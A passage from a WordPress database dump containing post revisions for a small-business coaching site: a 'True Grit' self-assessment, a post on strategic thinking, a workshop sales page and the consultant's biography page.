action and behavior? Do you feel the pull of this obsession guiding your actions every day?\r\n\r\n<strong>2- ENTHUSISAM</strong>\r\nDo you have a genuine inner desire to help and serve people (especially customers)?  Is your vibe “up” and “genuine” in a way that gives you more energy for life and a good reason for others to want to be around you and support your ideas?\r\n\r\n<strong>3- PREPARATION</strong>\r\nAre you making plans, seeking new knowledge, finding new partners, feeding your mind, taking care of your biology? Are you ready to play a higher level of game?\r\n\r\n<strong>4- SELF-CONFIDENCE</strong>\r\nAre you doing your very best and you know it? Are you doing all you can, doing all it takes to meet your challenge with grace, strength and confidence?\r\n\r\n<strong>5- SELF-DISCIPLINE</strong>\r\nAre you creating the right habits? Do you make the right choices each day to keep you moving forward on the trail of your desire?\r\n\r\n<strong>6- SELF-RELIANCE</strong>\r\nAre you resourceful? Do you use every circumstance for your upliftment and advancement?  Do you trust your inner gifts and talent– knowing your success is not dependant on others?\r\n\r\n<strong>7- EXPERTISE</strong>\r\nAre you at the top of your game, the best in your field, best of breed, loved and respected by your colleagues and customers?\r\n\r\n<strong>8- EXTRAORDINARY PERFORMANCE</strong>\r\nDo you demand the very best of yourself? Do you set the bar? Are you playing the game of life at the levels you know you are capable of?\r\n\r\n<strong>9- IMAGE</strong>\r\nDoes your behavior in the marketplace project an image of premium quality, trust and dependability?  Do you value your physical appearance and the quality of your surroundings? (who you hang with and where you hang)\r\n\r\n<strong>10- CHARACTER</strong>\r\nAre you a person of honesty and integrity walking your talk, keeping your promises?\r\n\r\nNow add up your score. How do feel about your current level of true grit?\r\n\r\nWhatever your score adds up to, it’s exactly the information you need right now to grow your pull and influence to new levels. It takes true grit in all these areas (not just talent or expertise) to turn your formless ideas into something tangible and highly valued by the marketplace.\r\n\r\n<em>Full disclosure on this post…  my true grit score at this writing is 85.  I''m satisfied when I am 90+, anything below 75 and I start to take appropriate action.\r\n</em>\r\n\r\n<em> If you found this post helpful, please share it with your tribe and subscribe to The White Hot Center directly.</em>', 'Your True Grit Self Assessment.', 0, '', 'inherit', 'open', 'open', '', '2563-revision-10', '', '', '2014-01-27 13:19:58', '2014-01-27 20:19:58', '', 2563, 'http://www.whitehotcenter.com/2014/01/2563-revision-10/', 0, 'revision', '', 0),
(2575, 2, '2014-01-27 13:20:07', '2014-01-27 20:20:07', '<img class="alignnone size-full wp-image-2564" title="true-grit" src="http://whc.fbdev.org/wp-content/uploads/2014/01/true-grit.jpg" alt="" width="495" height="269" />\r\n<h1>Turning nothing into something highly valued takes true grit. Your level of grit is comprised from your character attributes. Take my unscientific, self–examination on your level of true grit.</h1>\r\nRecently, I watched the old western movie  “True Grit” with John Wayne as US Marshall Rooster Cogburn. Wayne’s character was said to possess “true grit” – known far and wide for an unwavering dedication to getting his man.\r\n\r\nThat same sense of “true grit” holds true for creative entrepreneurs, solo professionals and small business owners who are in the process of turning nothing into something highly valued by the marketplace.\r\n\r\nWhen I was first starting out in my business, I had to learn how to master “the quality of my presence” in the world. I asked myself “what will it take to attract the best clients who wanted to work with me rather than someone else?”.  At the beginning, I didn’t know what I didn’t know.\r\n\r\nI’m a life long seeker. I had to learn about how my own character attributes would determine the quality of my “presence” in the marketplace, and if I had the right level of true grit necessary to turn nothing (no business) into something valuable (a real business). For years now, I continue to give myself a periodic examination. I am happy to share the little assessment I put myself through every 3-4 months to stay mindful of my level of true grit to create value for people.\r\n<h3>Take a moment to evaluate and assess (not judge) what your level of true grit is within these ten attributes. Be completely honest with yourself. Give yourself a score of 1-10 for each attribute.</h3>\r\nReady… go…\r\n\r\n<strong>1- PURPOSE</strong>\r\nHow clear are you on the reason you exist, your mission, the point of it all? How connected are to your magnificent obsession? Is your purpose aligned with your action and behavior? Do you feel the pull of this obsession guiding your actions every day?\r\n\r\n<strong>2- ENTHUSISAM</strong>\r\nDo you have a genuine inner desire to help and serve people (especially customers)?  Is your vibe “up” and “genuine” in a way that gives you more energy for life and a good reason for others to want to be around you and support your ideas?\r\n\r\n<strong>3- PREPARATION</strong>\r\nAre you making plans, seeking new knowledge, finding new partners, feeding your mind, taking care of your biology? Are you ready to play a higher level of game?\r\n\r\n<strong>4- SELF-CONFIDENCE</strong>\r\nAre you doing your very best and you know it? Are you doing all you can, doing all it takes to meet your challenge with grace, strength and confidence?\r\n\r\n<strong>5- SELF-DISCIPLINE</strong>\r\nAre you creating the right habits? Do you make the right choices each day to keep you moving forward on the trail of your desire?\r\n\r\n<strong>6- SELF-RELIANCE</strong>\r\nAre you resourceful? Do you use every circumstance for your upliftment and advancement?  Do you trust your inner gifts and talent– knowing your success is not dependant on others?\r\n\r\n<strong>7- EXPERTISE</strong>\r\nAre you at the top of your game, the best in your field, best of breed, loved and respected by your colleagues and customers?\r\n\r\n<strong>8- EXTRAORDINARY PERFORMANCE</strong>\r\nDo you demand the very best of yourself? Do you set the bar? Are you playing the game of life at the levels you know you are capable of?\r\n\r\n<strong>9- IMAGE</strong>\r\nDoes your behavior in the marketplace project an image of premium quality, trust and dependability?  Do you value your physical appearance and the quality of your surroundings? (who you hang with and where you hang)\r\n\r\n<strong>10- CHARACTER</strong>\r\nAre you a person of honesty and integrity walking your talk, keeping your promises?\r\n\r\nNow add up your score. How do feel about your current level of true grit?\r\n\r\nWhatever your score adds up to, it’s exactly the information you need right now to grow your pull and influence to new levels. It takes true grit in all these areas (not just talent or expertise) to turn your formless ideas into something tangible and highly valued by the marketplace.\r\n\r\n<em>Full disclosure on this post…  my true grit score at this writing is 85.  I''m satisfied when I am 90+, anything below 75 and I start to take appropriate action.\r\n</em>\r\n\r\n<em> If you found this post helpful, please share it with your tribe and subscribe to The White Hot Center directly.</em>', 'Your True Grit Self Assessment.', 0, '', 'inherit', 'open', 'open', '', '2563-revision-11', '', '', '2014-01-27 13:20:07', '2014-01-27 20:20:07', '', 2563, 'http://www.whitehotcenter.com/2014/01/2563-revision-11/', 0, 'revision', '', 0),
(2588, 2, '2014-03-22 12:20:32', '2014-03-22 19:20:32', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/03/Untitled-1.jpg"><img class="alignnone size-full wp-image-2589" title="Are you a strategic thinker?" src="http://whc.fbdev.org/wp-content/uploads/2014/03/Untitled-1.jpg" alt="" width="495" height="263" /></a>\r\n<h1>Strategic thinking is a skill that can’t be taught– it’s a natural inclination you’re born with. Are you a strategic thinker?</h1>\r\nI spend most of my time consulting with clients on strategy–helping them to see useful patterns where everyone else  sees complexity. In my experience, most creative entrepreneurs just want to know HOW to get to their goal. That’s tactics not strategy.  Strategic thinking requires you know WHY you are intent on pursuing any particular course of action.\r\n\r\nWhen you are clear about your why, the how to get there seemingly takes care of itself. Like gravity, I don’t know how this principle works, I just know it does.\r\n\r\nBeing a strategic thinker is a gift. You have it or you don’t.  One can learn principles of strategic thinking, however if you don''t possess the natural talent for strategic thinking, the learning will be difficult. It''s like trying to learn to play the piano when you have no talent for music.\r\n\r\nInterestingly enough, those with the gift of strategic thinking hardly see at such. Like all natural systems –like breathing– your gifts operate effortlessly mostly under your awareness. You may be a brilliant strategic thinker but have yet to acknowledge it and self apply it to your conscious behavior.\r\n\r\nTo help you connect with your gift for strategic thinking and the power it has to strengthen your resolve to achieve any desire, here are several attributes and themes that may seem familiar to you and are shared by all strategic thinkers.\r\n\r\n<strong>Strategic thinkers see through the clutter and the bullshit.</strong>\r\nThey have an extraordinary perspective on how the world works. They “see” pathways hidden inside complexity. These pathways or insights often result in uncanny solutions rich in their obvious simplicity.\r\n\r\n<strong>Strategic thinkers are naturally curious always asking “what-if” questions.</strong>\r\nThey link “what if “scenarios together like pearls in a necklace. They are always few moves ahead of where the world happens to be on the chessboard of life. They’re relentless in their questions, which usually enables them to spot trends that have lucrative opportunities embedded within them.\r\n\r\n<strong>Strategic thinkers think about the important and not so much on the urgent.</strong>\r\nWhile others focus on navel gazing their immediate circumstances, strategic thinkers find it incredibly obvious that if you look down the road and decide what you want to have happen when you get there, you won’t be a victim of your current circumstances anymore.\r\n\r\n<strong>Strategic thinkers evaluate risks and obstacles.</strong>\r\nThey see repercussions more clearly than others. They don’t pursue any course of action without careful consideration of the downside. Then they systematically assess “if this or that happens, can we live with that outcome?”  They are usually more prepared and ready for where events may lead them.\r\n\r\n<strong>Strategic thinkers are not attached to their own preconceived ideas. </strong>\r\nThey use their insight and intuition to cull through and discard the potential pathways leading to resistance and confusion.\r\n\r\n<strong>Strategic thinkers take determined action.</strong>\r\nThey don’t procrastinate and wring their hands in worry and fret. They strike forward confidently armed with their strategy.  Through their action they keep their vivid vision from becoming a pipe dream.\r\n\r\nThere’s an old saying “it takes one to know one” Hopefully that’s the case for you! Our natural inclinations always reveal our strengths. If you have the awareness and application of your inner strengths, you’ll spend less time thinking about your shortcomings.\r\n\r\n<em><strong>If you found this post interesting, please share with your network and subscribe to the blog!</strong></em>', 'Are you a strategic thinker?', 0, '', 'publish', 'open', 'open', '', 'are-you-a-strategic-thinker', '', '', '2014-03-24 13:13:23', '2014-03-24 20:13:23', '', 0, 'http://www.whitehotcenter.com/?p=2588', 0, 'post', '', 1),
(2581, 2, '2014-01-27 13:23:11', '2014-01-27 20:23:11', '<img class="alignnone size-full wp-image-2564" title="true-grit" src="http://whc.fbdev.org/wp-content/uploads/2014/01/true-grit.jpg" alt="" width="495" height="269" />\r\n<h1>Turning nothing into something highly valued takes true grit. Your level of grit is comprised from your character attributes. Take my unscientific, self–examination on your level of true grit.</h1>\r\nRecently, I watched the old western movie  “True Grit” with John Wayne as US Marshall Rooster Cogburn. Wayne’s character was said to possess “true grit” – known far and wide for an unwavering dedication to getting his man.\r\n\r\nThat same sense of “true grit” holds true for creative entrepreneurs, solo professionals and small business owners who are in the process of turning nothing into something highly valued by the marketplace.\r\n\r\nWhen I was first starting out in my business, I had to learn how to master “the quality of my presence” in the world. I asked myself “what will it take to attract the best clients who wanted to work with me rather than someone else?”.  At the beginning, I didn’t know what I didn’t know.\r\n\r\nI’m a life long seeker. I had to learn about how my own character attributes would determine the quality of my “presence” in the marketplace, and if I had the right level of true grit necessary to turn nothing (no business) into something valuable (a real business). For years now, I continue to give myself a periodic examination. I am happy to share the little assessment I put myself through every 3-4 months to stay mindful of my level of true grit to create value for people.\r\n<h3>Take a moment to evaluate and assess (not judge) what your level of true grit is within these ten attributes. Be completely honest with yourself. Give yourself a score of 1-10 for each attribute.</h3>\r\nReady… go…\r\n\r\n<strong>1- PURPOSE</strong>\r\nHow clear are you on the reason you exist, your mission, the point of it all? How connected are to your magnificent obsession? Is your purpose aligned with your action and behavior? Do you feel the pull of this obsession guiding your actions every day?\r\n\r\n<strong>2- ENTHUSISAM</strong>\r\nDo you have a genuine inner desire to help and serve people (especially customers)?  Is your vibe “up” and “genuine” in a way that gives you more energy for life and a good reason for others to want to be around you and support your ideas?\r\n\r\n<strong>3- PREPARATION</strong>\r\nAre you making plans, seeking new knowledge, finding new partners, feeding your mind, taking care of your biology? Are you ready to play a higher level of game?\r\n\r\n<strong>4- SELF-CONFIDENCE</strong>\r\nAre you doing your very best and you know it? Are you doing all you can, doing all it takes to meet your challenge with grace, strength and confidence?\r\n\r\n<strong>5- SELF-DISCIPLINE</strong>\r\nAre you creating the right habits? Do you make the right choices each day to keep you moving forward on the trail of your desire?\r\n\r\n<strong>6- SELF-RELIANCE</strong>\r\nAre you resourceful? Do you use every circumstance for your upliftment and advancement?  Do you trust your inner gifts and talent– knowing your success is not dependant on others?\r\n\r\n<strong>7- EXPERTISE</strong>\r\nAre you at the top of your game, the best in your field, best of breed, loved and respected by your colleagues and customers?\r\n\r\n<strong>8- EXTRAORDINARY PERFORMANCE</strong>\r\nDo you demand the very best of yourself? Do you set the bar? Are you playing the game of life at the levels you know you are capable of?\r\n\r\n<strong>9- IMAGE</strong>\r\nDoes your behavior in the marketplace project an image of premium quality, trust and dependability?  Do you value your physical appearance and the quality of your surroundings? (who you hang with and where you hang)\r\n\r\n<strong>10- CHARACTER</strong>\r\nAre you a person of honesty and integrity walking your talk, keeping your promises?\r\n\r\nNow add up your score. How do feel about your current level of true grit?\r\n\r\nWhatever your score adds up to, it’s exactly the information you need right now to grow your pull and influence to new levels. It takes true grit in all these areas (not just talent or expertise) to turn your formless ideas into something tangible and highly valued by the marketplace.\r\n\r\n<em>Full disclosure on this post…  my true grit score at this writing is 85.  I''m satisfied when I am 90+, anything below 75 and I start to take appropriate action.\r\n</em>\r\n\r\n<em> If you found this post helpful, please share it with your tribe and subscribe to The White Hot Center directly.</em>', 'Your True Grit Self Assessment.', 0, '', 'inherit', 'open', 'open', '', '2563-revision-12', '', '', '2014-01-27 13:23:11', '2014-01-27 20:23:11', '', 2563, 'http://www.whitehotcenter.com/2014/01/2563-revision-12/', 0, 'revision', '', 0),
(2577, 2, '2014-01-06 17:55:40', '2014-01-07 00:55:40', '&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2386" title="Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/unconference1.jpg" alt="" width="495" height="188" />\r\n\r\n<img class="alignnone size-full wp-image-1965" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n\r\n<iframe src="http://www.youtube.com/embed/ZhBhjF7ocW0" frameborder="0" width="490" height="249"></iframe>\r\n<h2><strong>White Hot Center Presents:\r\nThe Quantum Leap\r\nBusiness Transformation Workshop</strong><strong>\r\nStrategies for Creating Competitive Advantage\r\nfor Entrepreneurs and Solo Professionals\r\nApril 18, 2014\r\nOjai, California\r\n</strong></h2>\r\n<h2><strong>Facilitated by\r\nThomson Dawson\r\nBusiness Transformation Consultant to Creative Entrepreneuers</strong></h2>\r\n<h2><span style="color: #f5a509;">A one-day intensive business transformation workshop designed to guide creative entrepreneurs and solo professionals who want to build a solid foundation for brand marketing, business development and sales success at the early stage of their business. Watch the video to learn more about what we''ll cover in the workshop.</span></h2>\r\n<h3><span style="color: #808080;">Without sales there is no business</span><span style="color: #808080;"><strong>!</strong></span></h3>\r\nIf you’re an early stage entrepreneur or self-employed creative professional, you know the importance of having a steady stream of clients and customers coming your way. The truth is many early-stage entrepreneurs struggle <strong>finding a steady stream of higher value clients.</strong> Many more resist the marketing and sales process altogether opting to rely only on referrals for new business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive marketplace today, you must embrace <strong>business development, lead generation and sales</strong> as <strong>the essential</strong> <strong>skill</strong> for your business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn greater <strong>possibilities into achievement</strong>.\r\n\r\n<strong>Clients have abundant choice.</strong>\r\n\r\nLet’s face it, when clients have abundant choice, competition is always fierce.\r\n\r\n<strong>How do you gain radical advantage over would-be competitors in an ultra-competitive marketplace?</strong>\r\n\r\n<strong>How do you find the right clients who are a perfect fit for you? </strong>\r\n\r\n<strong>How do you differentiate your business from alternatives to your firm in ways that matter to your clients? </strong>\r\n\r\n<strong>How do you command premium prices and greater profit margins when your competitors are discounting their price to win business?</strong>\r\n\r\n<strong>How do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?</strong>\r\n\r\nIf you’re serious about the growth and success of your creative business, you will not want to miss attending this strategic business development workshop designed and facilitated by <a href="http://whc.fbdev.org/contact/" target="_blank">Thomson Dawson, Business Transformation Consultant to Creative Entrepreneurs.</a>\r\n\r\n<img class="alignnone size-full wp-image-2382" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/06/thomson-sd-1.jpg" alt="" width="515" height="361" />\r\n<h2><strong></strong> Spend one important day working on your business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future and get your business to the next level.</h2>\r\n<strong>Who should attend?</strong>\r\nWe’ve developed this transformational business development workshop for all creative entreprenuers  and solo professionals who seek insight, guidance and creativity to take their business to the next level.\r\n\r\n<strong>Investment:</strong>\r\n$895.00 USD per person\r\nSpecial discount of $100 off for early registration prior to March 18, 2014\r\nAdditional discount of $95 off for each additional person in your firm prior to March 18, 2014.\r\n\r\nTuition fee must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop.\r\n\r\nTuition includes Workshop Materials, Luncheon, and Snacks served throughout the day at the venue.\r\n\r\n<strong>This workshop is limited to 24 participants.</strong>\r\n<h3><span style="color: #888888;">Early Registration\r\n</span></h3>\r\nSend an <strong><a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a></strong> and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to March 18, 2013. This workshop has limited capacity and will fill up quickly.\r\n<h3><a title="Quantum Leap Workshop Registration" href="mailto://thomson@whitehotcenter.com" target="_blank"><strong>Register Now and Save!</strong></a></h3>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2014-01-06 17:55:40', '2014-01-07 00:55:40', '', 145, 'http://www.whitehotcenter.com/2014/01/145-revision-147/', 0, 'revision', '', 0),
(2578, 2, '2013-08-04 12:16:51', '2013-08-04 19:16:51', '<h2><img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" /></h2>\r\n<h2><strong>Contact me in the orange grove:</strong></h2>\r\n<strong>The White Hot Center\r\nInspired Success\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 886 5902 mobile\r\n</strong>\r\n<h1><span style="color: #ff8c00;"><strong><span style="color: #000000;">What I love to do:</span></strong></span></h1>\r\n<h2><span style="color: #000000;"><strong>Inspire and guide entreprenuers and solo professionals to gain more clarity and confidence to create a better future with more impact, influence and income.</strong></span> How can I help you take your business to the next level?</h2>\r\n<h3><span style="color: #000000;">About Thomson Dawson</span>\r\nBusiness Development Consultant to Entrepreneurs and Solo Professionals</h3>\r\n<span style="color: #808080;"><strong>Thomson </strong><strong>has been a successful creative entrepreneur in the corporate and marketing communications business for nearly 30 years.</strong>\r\n</span>\r\n\r\n<span style="color: #808080;"><strong>In 1980, after graduation from Ferris University Kendall College of Design, Thomson was the Founder and Principal of the Dawson+Company Creative Group, a leading corporate communications and design agency headquartered in Grand Rapids, Michigan. </strong></span>\r\n\r\n<span style="color: #808080;"><strong>Dawson+Company Creative Group was internationally recognized for its award winning work in marketing communications, corporate identity development, brand development, naming, corporate communications, branded environment design, and retail packaging and merchandising. </strong></span>\r\n\r\n<span style="color: #808080;"><strong>Within the first five years, he established his creative business into one of the most respected and sought after creative firms in the US. Over the course of his business career he has sold millions of dollars in creative service fee billings. Thomson has successfully served over 70 established and emerging client organizations in diverse industries in the US and Europe. </strong></span>\r\n\r\n<span style="color: #808080;"><strong>His corporate clients have included Abbott, Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>In 2008, leveraging his significant business experience serving leading corporate clients, Thomson founded the White Hot Center, an online resource of insight, inspiration, guidance, business development training and consulting for early stage creative entrepreneurs and solo professionals who seek more impact, influence and income in their growing business.\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Through the WHC Quantum Leap Workshops, Thomson provides creative entrepreneurs and their teams with professional development, marketing and business development education, training and consulting.\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Thomson is an avid writer, speaker and thought leader on brand strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed Branding Strategy Insider blog, one of the 50 top branding blogs according to Advertising Age.</strong></span>\r\n\r\n<img class="alignnone size-full wp-image-2373" title="Thomson Dawson, Author and Speaker" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-kendall-1.jpg" alt="" width="495" height="298" />\r\n\r\n<img class="alignnone size-full wp-image-2374" title="Thomson Dawson, Author and Speaker" src="http://whc.fbdev.org/wp-content/uploads/2009/04/whc.thomson-51.jpg" alt="" width="495" height="252" />\r\n<h2><span style="color: #000000;"><strong>Have Thomson speak at your upcoming event:</strong></span></h2>\r\n<h3><span style="color: #000000;"><span style="color: #e47906;">Thomson provides inspirational talks centered on professional developmennt, creativity, innovation and building competitive advantage in your business. He speaks regularly at business conferences, universities, industry groups and trade associations. Some talks are pro-bono, some for expenses, and others for a fee and expenses. If you have an interest in presenting Thomson at your upcoming event, just send an email detailing your specific requirements.</span></span></h3>\r\n<h3><span style="color: #000000;"><span style="color: #e47906;"><a title="Have Thomson speak at your event!" href="mailto://thomson@whitehotcenter.com" target="_blank">Email to book Thomson to speak at your event</a></span></span></h3>\r\n&nbsp;\r\n\r\n<span style="color: #000000;"><span style="color: #e47906;">\r\n</span></span>', 'Get to know Thomson Dawson.', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2013-08-04 12:16:51', '2013-08-04 19:16:51', '', 143, 'http://www.whitehotcenter.com/2013/08/143-revision-59/', 0, 'revision', '', 0),
(2579, 2, '2014-01-29 16:48:07', '2014-01-29 23:48:07', '<h2><img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" /></h2>\r\n<h2><strong>Contact me in the orange grove:</strong></h2>\r\n<strong>The White Hot Center\r\nInspired Success\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 886 5902 mobile\r\n</strong>\r\n<h1><span style="color: #ff8c00;"><strong><span style="color: #000000;">What I love to do:</span></strong></span></h1>\r\n<h2><span style="color: #000000;"><strong>Inspire and guide entreprenuers, solo professionals and small business owners to gain more clarity and confidence to create a better future with more impact, influence and income.</strong></span> How can I help you take your business to the next level?</h2>\r\n<h2><span style="color: #000000;">About Thomson Dawson</span>\r\nStrategic Brand Development and Business Transformation Expert</h2>\r\n<span style="color: #808080;"><strong>Thomson </strong><strong>has been a successful creative entrepreneur in the corporate and marketing communications business for nearly 30 years.</strong>\r\n</span>\r\n\r\n<span style="color: #808080;"><strong>In 1980, after a stint working at several advertising agencies, Thomson founded Dawson+Company Creative Group, a leading corporate communications and design agency headquartered in Grand Rapids, Michigan. </strong></span>\r\n\r\n<span style="color: #808080;"><strong>Dawson+Company Creative Group was internationally recognized for its award winning work in marketing communications, corporate and brand identity development, brand strategy,  corporate communications, branded environment design, and retail packaging and merchandising. </strong></span>\r\n\r\n<span style="color: #808080;"><strong>Within the first five years, he established his creative business into one of the most respected and sought after creative firms in the US. Over the course of his business career he has sold millions of dollars in creative service fee billings. Thomson has successfully served over 70 established and emerging client organizations in diverse industries in the US and Europe. </strong></span>\r\n\r\n<span style="color: #808080;"><strong>His corporate clients have included Abbott, Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite Corporation.</strong></span>\r\n\r\n<span style="color: #808080;"><strong>In 2008, leveraging his significant business experience serving leading corporate clients, Thomson founded the White Hot Center, an online resource of insight, inspiration, guidance, and business development training and consulting for early stage creative entrepreneurs, solo professionals and small business owners who seek more impact, influence and income in their growing business.\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Through the White Hot Center, Thomson provides entrepreneurs and their teams with professional development, brand development, marketing and business development education, training and consulting.\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong>Thomson is an avid writer, speaker and thought leader on brand strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed <a title="Branding Strategy Insider" href="http://www.brandingstrategyinsider.com/2011/09/the-future-belongs-to-brands-that-build-great-value.html" target="_blank">Branding Strategy Insider</a> blog, one of the 50 top branding blogs according to Advertising Age.</strong></span>\r\n\r\n<img class="alignnone size-full wp-image-2373" title="Thomson Dawson, Author and Speaker" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-kendall-1.jpg" alt="" width="495" height="298" />\r\n\r\n<img class="alignnone size-full wp-image-2374" title="Thomson Dawson, Author and Speaker" src="http://whc.fbdev.org/wp-content/uploads/2009/04/whc.thomson-51.jpg" alt="" width="495" height="252" />\r\n<h2><span style="color: #000000;"><strong>Have Thomson speak at your upcoming event:</strong></span></h2>\r\n<h3><span style="color: #000000;"><span style="color: #e47906;">Thomson provides inspirational talks centered on professional developmennt, creativity, innovation and building competitive advantage in your business. He speaks regularly at business conferences, universities, industry groups and trade associations. Some talks are pro-bono, some for expenses, and others for a fee and expenses. If you have an interest in presenting Thomson at your upcoming event, just send an email detailing your specific requirements.</span></span></h3>\r\n<h3><span style="color: #000000;"><span style="color: #e47906;"><a title="Have Thomson speak at your event!" href="mailto://thomson@whitehotcenter.com" target="_blank">Email to book Thomson to speak at your event</a></span></span></h3>', 'Get to know Thomson Dawson.', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2014-01-29 16:48:07', '2014-01-29 23:48:07', '', 143, 'http://www.whitehotcenter.com/2014/01/143-revision-60/', 0, 'revision', '', 0),
(2580, 2, '2014-01-29 16:25:27', '2014-01-29 23:25:27', '&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2386" title="Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/unconference1.jpg" alt="" width="495" height="188" />\r\n\r\n<img class="alignnone size-full wp-image-1965" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n\r\n<iframe src="http://www.youtube.com/embed/ZhBhjF7ocW0" frameborder="0" width="490" height="249"></iframe>\r\n<h2><strong>White Hot Center Presents:\r\nThe Quantum Leap\r\nBusiness Transformation Workshop</strong><strong>\r\n</strong></h2>\r\n<h2><strong>Strategies for Creating Competitive Advantage\r\nfor Entrepreneurs, Solo Professionals and Small Business Owners\r\nMay 16, 2014\r\nOjai, California\r\n</strong></h2>\r\n<h2><strong>Facilitated by\r\nThomson Dawson\r\nStrategic Brand Strategy\r\nand Business Transformation Expert\r\n</strong></h2>\r\n<h2><span style="color: #ff8c00;">A one-day intensive business transformation workshop designed to guide early stage entrepreneurs, solo professionals and small business owners to build a solid foundation for brand strategy, marketing, business development and sales success.</span></h2>\r\nWatch the video to learn more about what we’ll cover in the workshop.\r\n\r\n<strong>Transforming your business for the next level of growth.</strong>\r\n\r\nIf you’re an early stage entrepreneur, self-employed professional or small business owner, you know the importance of having a steady stream of clients and customers coming your way. The truth is many entrepreneurs struggle creating a consistent stream of higher value clients. Many more resist the marketing and sales process altogether opting instead to rely only on referrals for new business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive marketplace today, you must embrace the idea of building your brand, marketing your value with consistency, and the mastery of business development, lead generation and sales pipeline as the essential skill for your business success.\r\n\r\nMore importantly, you’ll need to stay in the right frame of mind to guide your creativity and effective actions, if you are to turn your greater possibilities into achievement.\r\n\r\nThe reality in today’s new economy is clients and customers have abundant choice. When clients have abundant choice, competition and commoditization become the dominant forces in the marketplace. In this unique seminar you’ll learn the strategies and practices that will enable you to make competition irrelevant!\r\n\r\nHere’s what you’ll learn:\r\n\r\n<strong>Principles on mastering the "inner game" of business and life success.</strong>\r\n\r\n<strong>How to gain radical advantage over would-be competitors in an ultra-competitive marketplace.</strong>\r\n\r\n<strong>How to target and find the right clients who are a perfect fit for you.</strong>\r\n\r\n<strong>How to differentiate your business from alternatives to your firm in ways that matter to your clients!</strong>\r\n\r\n<strong>How to command premium prices and greater profit margins when your competitors are discounting their price to win business.</strong>\r\n\r\n<strong>How to develop a compelling brand that represents your value to customers in ways that enable you to command premium pricing.</strong>\r\n\r\n<strong>How to master your personal effectivness and performance.</strong>\r\n\r\n<strong>How to create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of products and services you’ll offer higher value customers.</strong>\r\n<h2> <strong>If you’re serious about growing your business to the next level so you can have more impact, influence and income, you will not want to miss attending this strategic business transformation workshop designed and facilitated by Business Transformation and Brand Strategy expert Thomson Dawson.\r\n</strong></h2>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2382" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/06/thomson-sd-1.jpg" alt="" width="515" height="361" />\r\n<h2><strong></strong> <span style="color: #ff8c00;">Spend one important day working on your business rather than in it. Spend one day building a solid framework and foundation for your brand, business development and sales success. Spend one day innovating your bigger, better future and get your business to the next level.</span></h2>\r\n<strong>Who should attend?</strong>\r\nWe’ve developed this transformational business transformation workshop for all early stage  entreprenuers,  solo professionals and small busness owners and their teams who seek insight, guidance and creativity to take their business to the next level.\r\n\r\n<strong>Investment:</strong>\r\n$895.00 USD per person\r\nSpecial discount of $100 off for early registration prior to April 18, 2014\r\nAdditional discount of $95 off for each additional person in your firm prior to April 18, 2014.\r\n\r\nTuition fee must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop.\r\n\r\nTuition includes Workshop Materials, Luncheon, and Snacks served throughout the day at the venue.\r\n\r\n<strong>This workshop is limited to 24 participants.</strong>\r\n<h3><span style="color: #888888;">Early Registration\r\n</span></h3>\r\nSend an <strong><a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a></strong> and we’ll get right back to you with the full information on the venue location, accomodations, and how to confirm your spot in early registration prior to April 18, 2013. This workshop has limited capacity and will fill up quickly.\r\n<h3><a title="Quantum Leap Workshop Registration" href="mailto://thomson@whitehotcenter.com" target="_blank"><strong>Register Now and Save!</strong></a></h3>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', 